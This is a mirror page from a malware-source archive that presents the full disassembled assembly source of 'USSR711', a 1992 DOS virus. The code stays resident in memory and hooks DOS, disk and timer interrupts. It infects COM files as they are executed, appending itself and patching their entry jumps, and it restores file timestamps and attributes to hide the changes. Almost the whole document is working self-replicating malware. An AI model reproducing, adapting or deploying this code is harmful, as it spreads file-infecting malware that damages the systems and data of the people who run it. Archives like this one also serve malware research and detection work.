mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
385 lines
8.4 KiB
NASM
385 lines
8.4 KiB
NASM
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PAGE 59,132
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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;ÛÛ ÛÛ
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;ÛÛ USSR711 ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ Created: 9-Feb-92 ÛÛ
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;ÛÛ Passes: 5 Analysis Options on: AW ÛÛ
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;ÛÛ ÛÛ
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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data_1e equ 20h
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data_2e equ 22h
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data_3e equ 4Ch
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data_4e equ 4Eh
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data_5e equ 84h
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data_6e equ 86h
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data_7e equ 0D9h
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data_8e equ 0DBh
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data_9e equ 122h
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data_10e equ 124h
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data_11e equ 13Ah
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data_12e equ 13Ch
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data_13e equ 441h
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data_14e equ 3
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data_15e equ 12h
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data_16e equ 0
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data_17e equ 0B0h
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data_18e equ 0B2h
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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ussr711 proc far
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start:
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jmp loc_1
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int 21h ; DOS Services ah=function 00h
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; terminate, cs=progm seg prefx
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call sub_1
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ussr711 endp
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;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
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; SUBROUTINE
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;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
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sub_1 proc near
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pop bx
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xor di,di ; Zero register
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mov si,bx
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sub si,3
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mov ax,4B04h
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int 21h ; ??INT Non-standard interrupt
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cmp ax,44Bh
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loc_1:
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call sub_2
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;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
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sub_2:
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pop bx
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xor di,di ; Zero register
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mov si,bx
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sub si,3
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mov ax,4B04h
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int 21h ; ??INT Non-standard interrupt
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cmp ax,44Bh
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je $+7Dh ; Jump if equal
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mov ax,es
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dec ax
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mov es,ax
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mov ax,es:data_14e
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sub ax,2Ch
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mov es:data_14e,ax
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sub word ptr es:data_15e,2Ch
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nop
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mov es,es:data_15e
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mov cx,2BBh
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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cli ; Disable interrupts
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xor ax,ax ; Zero register
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mov ds,ax
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mov cx,ds:data_5e
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mov es:data_11e,cx
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mov cx,ds:data_6e
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mov es:data_12e,cx
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mov word ptr ds:data_5e,126h
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mov ds:data_6e,es
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mov cx,ds:data_1e
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mov es:data_7e,cx
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mov cx,ds:data_2e
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mov es:data_8e,cx
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mov word ptr ds:data_1e,0B4h
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mov ds:data_2e,es
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mov cx,ds:data_3e
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mov es:data_9e,cx
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mov cx,ds:data_4e
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mov es:data_10e,cx
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mov word ptr ds:data_3e,0DDh
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mov ds:data_4e,es
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sti ; Enable interrupts
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mov di,100h
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mov si,bx
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add si,2B3h
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mov cx,3
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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mov ax,cs
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mov es,ax
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mov ds,ax
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xor ax,ax ; Zero register
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mov si,ax
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mov di,0
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mov bx,offset start
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jmp bx ; Register jump
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add bl,[si]
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db 67h, 6Fh, 50h, 2Eh,0A1h,0B2h
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db 00h, 40h, 2Eh,0A3h,0B2h, 00h
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db 2Eh,0A1h,0B0h, 00h, 3Dh, 00h
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db 00h, 75h, 10h, 2Eh, 81h, 3Eh
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db 0B2h, 00h, 74h, 37h, 75h, 07h
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db 0B8h, 02h, 1Ch, 2Eh,0A3h,0B0h
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db 00h
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db 58h,0EAh, 0Ah, 01h, 49h,0D7h
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db 2Eh, 83h, 3Eh,0B0h, 00h, 00h
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db 74h, 3Ch, 80h,0FCh, 03h, 74h
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db 05h, 80h,0FCh, 0Bh
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db 75h, 32h
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loc_3:
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test dl,80h
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js loc_4 ; Jump if sign=1
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push ax
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mov ax,cs:data_18e
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and ax,3
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pop ax
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jnz loc_4 ; Jump if not zero
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push bp
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add [bp+si+7Dh],dh
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push ax
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mov ax,cs
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mov ds,ax
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mov ax,[bp+6]
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push ax
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popf ; Pop flags
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stc ; Set carry flag
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pushf ; Push flags
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pop ax
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mov [bp+6],ax
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xor ax,ax ; Zero register
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mov ds,ax
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pop ax
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mov ah,80h
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mov ds:data_13e,ah
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pop ds
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pop bp
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iret ; Interrupt return
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loc_4:
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;* jmp far ptr loc_20
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sub_1 endp
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db 0EAh, 49h, 01h, 08h,0D7h
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cmp ax,4B04h
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jne loc_5 ; Jump if not equal
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mov ax,44Bh
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iret ; Interrupt return
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loc_5:
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cmp ax,4B00h
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je loc_7 ; Jump if equal
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cmp ax,4B03h
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je loc_7 ; Jump if equal
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loc_6:
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;* jmp far ptr loc_19
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db 0EAh,0B5h, 02h, 46h,0D5h
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loc_7:
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push ax
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push bx
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push cx
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push dx
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push ds
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push es
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push si
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push di
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mov ax,ds
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mov es,ax
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cld ; Clear direction
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mov al,0
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mov di,dx
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mov cx,0C8h
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repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
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jnz loc_8 ; Jump if not zero
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std ; Set direction flag
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mov al,2Eh ; '.'
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mov cx,0Ah
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repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
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loc_8:
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jnz loc_11 ; Jump if not zero
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inc di
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inc di
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mov al,[di]
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and al,0DFh
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cmp al,43h ; 'C'
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jne loc_11 ; Jump if not equal
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mov al,[di+1]
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and al,0DFh
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cmp al,4Fh ; 'O'
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jne loc_11 ; Jump if not equal
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mov al,[di+2]
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and al,0DFh
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cmp al,4Dh ; 'M'
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jne loc_11 ; Jump if not equal
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mov al,[di-2]
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and al,0DFh
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cmp al,44h ; 'D'
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jne loc_9 ; Jump if not equal
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mov al,[di-8]
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and al,0DFh
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cmp al,43h ; 'C'
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je loc_11 ; Jump if equal
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loc_9:
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mov ax,4300h
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int 21h ; DOS Services ah=function 43h
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; get attrb cx, filename @ds:dx
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mov word ptr cs:[2B4h],cx
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mov cx,20h
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mov ax,4301h
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int 21h ; DOS Services ah=function 43h
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; set attrb cx, filename @ds:dx
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jc loc_11 ; Jump if carry Set
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mov word ptr cs:[2B0h],ds
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mov word ptr cs:[2B2h],dx
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mov ax,3D02h
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int 21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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jc loc_11 ; Jump if carry Set
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mov bx,ax
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mov ax,5700h
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int 21h ; DOS Services ah=function 57h
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; get file date+time, bx=handle
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; returns cx=time, dx=time
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mov word ptr cs:[2ACh],cx
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mov word ptr cs:[2AEh],dx
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jmp short loc_12
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nop
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loc_10:
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jmp loc_6
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loc_11:
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jmp loc_16
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loc_12:
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mov cx,3
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mov ax,cs
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mov ds,ax
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mov es,ax
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mov dx,2B6h
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mov ax,3F00h
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int 21h ; DOS Services ah=function 3Fh
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; read file, bx=file handle
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; cx=bytes to ds:dx buffer
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mov cx,0
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mov dx,word ptr cs:[2B7h]
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add dx,3
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mov ax,4200h
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int 21h ; DOS Services ah=function 42h
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; move file ptr, bx=file handle
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; al=method, cx,dx=offset
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mov cx,0Ah
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mov dx,29Bh
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mov ax,3F00h
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int 21h ; DOS Services ah=function 3Fh
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; read file, bx=file handle
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; cx=bytes to ds:dx buffer
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cld ; Clear direction
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mov cx,0Ah
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mov si,29Bh
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mov di,data_16e
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repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
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jz loc_15 ; Jump if zero
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mov ax,4202h
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xor cx,cx ; Zero register
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mov dx,cx
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int 21h ; DOS Services ah=function 42h
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; move file ptr, bx=file handle
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; al=method, cx,dx=offset
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cmp ax,6A4h
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jb loc_15 ; Jump if below
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jmp short loc_14
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nop
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loc_13:
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jmp short loc_10
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loc_14:
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mov cx,cs:data_18e
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and cx,0Fh
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add cx,5
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mov ax,cs
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mov ds,ax
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xor dx,dx ; Zero register
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mov ax,4000h
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int 21h ; DOS Services ah=function 40h
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; write file bx=file handle
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; cx=bytes from ds:dx buffer
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jc loc_15 ; Jump if carry Set
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mov ax,4202h
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xor cx,cx ; Zero register
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mov dx,cx
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int 21h ; DOS Services ah=function 42h
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; move file ptr, bx=file handle
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; al=method, cx,dx=offset
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sub ax,3
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mov word ptr cs:[2AAh],ax
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xor dx,dx ; Zero register
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mov ax,4000h
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mov cx,2BBh
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int 21h ; DOS Services ah=function 40h
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; write file bx=file handle
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; cx=bytes from ds:dx buffer
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jc loc_15 ; Jump if carry Set
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mov ax,4200h
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xor cx,cx ; Zero register
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mov dx,cx
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int 21h ; DOS Services ah=function 42h
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; move file ptr, bx=file handle
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; al=method, cx,dx=offset
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mov ax,cs
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mov ds,ax
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mov dx,2A9h
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mov ax,4000h
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mov cx,3
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int 21h ; DOS Services ah=function 40h
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; write file bx=file handle
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; cx=bytes from ds:dx buffer
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loc_15:
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mov ax,5701h
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mov cx,word ptr cs:[2ACh]
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mov dx,word ptr cs:[2AEh]
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int 21h ; DOS Services ah=function 57h
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; set file date+time, bx=handle
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; cx=time, dx=time
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mov ax,3E00h
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int 21h ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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mov ds,word ptr cs:[2B0h]
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mov dx,word ptr cs:[2B2h]
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mov cx,word ptr cs:[2B4h]
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mov ax,4301h
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int 21h ; DOS Services ah=function 43h
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; set attrb cx, filename @ds:dx
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loc_16:
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pop di
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pop si
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pop es
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pop ds
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pop dx
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pop cx
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pop bx
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pop ax
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jmp short loc_13
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nop
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add [bx+si],al
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push ax
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mov ah,30h ; '0'
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int 21h ; DOS Services ah=function 30h
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; get DOS version number ax
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cmp ax,1E03h
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;* je loc_17 ; Jump if equal
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db 74h, 09h
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stosb ; Store al to es:[di]
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stosb ; Store al to es:[di]
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stosb ; Store al to es:[di]
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stosb ; Store al to es:[di]
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;* jmp loc_18
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db 0E9h, 15h, 00h
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test ax,3AA5h
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push ss
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db 0FEh,0B2h,0B9h, 41h, 20h, 00h
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db 0B8h, 00h, 4Ch, 02h, 00h
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seg_a ends
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end start
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